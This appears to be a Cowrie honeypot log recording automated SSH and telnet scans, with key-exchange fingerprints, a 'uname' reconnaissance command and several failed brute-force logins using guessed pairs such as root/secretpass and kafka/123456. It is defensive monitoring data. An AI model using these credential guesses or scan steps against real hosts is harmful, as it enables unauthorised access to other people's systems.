{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:27.339760Z","src_ip":"141.11.88.14","session":"6a84b4f561d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:27.442069Z","src_ip":"141.11.88.14","session":"6a84b4f561d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:27.449723Z","src_ip":"141.11.88.14","session":"6a84b4f561d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21562,"dst_ip":"10.17.0.5","dst_port":22,"session":"46e0dd9368b5","protocol":"ssh","message":"New connection: 141.11.88.14:21562 (10.17.0.5:22) [session: 46e0dd9368b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:33.439911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:33.564356Z","src_ip":"141.11.88.14","session":"46e0dd9368b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:33.567683Z","src_ip":"141.11.88.14","session":"46e0dd9368b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"69","message":"login attempt [root/69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:35.918441Z","src_ip":"141.11.88.14","session":"46e0dd9368b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:37.357224Z","src_ip":"141.11.88.14","session":"46e0dd9368b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60468,"dst_ip":"159.203.135.109","dst_port":22,"session":"b192f2b2c9c0","protocol":"ssh","message":"New connection: 160.191.244.158:60468 (159.203.135.109:22) [session: b192f2b2c9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:39.898893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:39.903269Z","src_ip":"160.191.244.158","session":"b192f2b2c9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:40.133024Z","src_ip":"160.191.244.158","session":"b192f2b2c9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nitrogen","password":"nitrogen123","message":"login attempt [nitrogen/nitrogen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:41.087101Z","src_ip":"160.191.244.158","session":"b192f2b2c9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50342,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf35472302c","protocol":"ssh","message":"New connection: 141.11.88.14:50342 (10.17.0.5:22) [session: 5bf35472302c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:41.193825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:41.535226Z","src_ip":"141.11.88.14","session":"5bf35472302c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:41.858656Z","src_ip":"141.11.88.14","session":"5bf35472302c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.382774353027344,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:41.895978Z","src_ip":"172.81.62.90","session":"48fe7a2ed9ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:42.319936Z","src_ip":"160.191.244.158","session":"b192f2b2c9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matt","password":"matt","message":"login attempt [matt/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:42.560913Z","src_ip":"141.11.88.14","session":"5bf35472302c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:43.968263Z","src_ip":"141.11.88.14","session":"5bf35472302c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.74257731437683,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:46.270696Z","src_ip":"94.23.66.112","session":"9d901cf62ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16446,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ead6a8116f9","protocol":"ssh","message":"New connection: 141.11.88.14:16446 (10.17.0.5:22) [session: 7ead6a8116f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:48.785224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:48.948314Z","src_ip":"141.11.88.14","session":"7ead6a8116f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:48.952327Z","src_ip":"141.11.88.14","session":"7ead6a8116f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.75861382484436,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:51.017994Z","src_ip":"107.6.151.170","session":"f65f81f2ee68","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345","message":"login attempt [developer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:51.118381Z","src_ip":"141.11.88.14","session":"7ead6a8116f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:52.709847Z","src_ip":"141.11.88.14","session":"7ead6a8116f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16524,"dst_ip":"10.17.0.5","dst_port":22,"session":"245bb5cd0626","protocol":"ssh","message":"New connection: 141.11.88.14:16524 (10.17.0.5:22) [session: 245bb5cd0626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:56.414989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:56.649743Z","src_ip":"141.11.88.14","session":"245bb5cd0626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:56.810679Z","src_ip":"141.11.88.14","session":"245bb5cd0626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secretpass","message":"login attempt [root/secretpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:57.635911Z","src_ip":"141.11.88.14","session":"245bb5cd0626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:58.917756Z","src_ip":"141.11.88.14","session":"245bb5cd0626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":54238,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5370ede59d4","protocol":"ssh","message":"New connection: 141.11.88.14:54238 (10.17.0.5:22) [session: b5370ede59d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:04.863725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:04.978006Z","src_ip":"141.11.88.14","session":"b5370ede59d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:04.987701Z","src_ip":"141.11.88.14","session":"b5370ede59d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456+","message":"login attempt [root/Aa123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:06.207191Z","src_ip":"141.11.88.14","session":"b5370ede59d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:07.337846Z","src_ip":"141.11.88.14","session":"b5370ede59d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31876,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb19d3e80de7","protocol":"ssh","message":"New connection: 141.11.88.14:31876 (10.17.0.5:22) [session: cb19d3e80de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:11.212720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:11.379057Z","src_ip":"141.11.88.14","session":"cb19d3e80de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:11.382714Z","src_ip":"141.11.88.14","session":"cb19d3e80de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"123456","message":"login attempt [kafka/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:12.081392Z","src_ip":"141.11.88.14","session":"cb19d3e80de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:13.417762Z","src_ip":"141.11.88.14","session":"cb19d3e80de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30392,"dst_ip":"10.17.0.5","dst_port":22,"session":"55a72dfecf85","protocol":"ssh","message":"New connection: 141.11.88.14:30392 (10.17.0.5:22) [session: 55a72dfecf85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:18.178339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:18.247158Z","src_ip":"141.11.88.14","session":"55a72dfecf85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:29:18.371528Z","src_ip":"141.11.88.14","session":"55a72dfecf85","protocol":"ssh"}
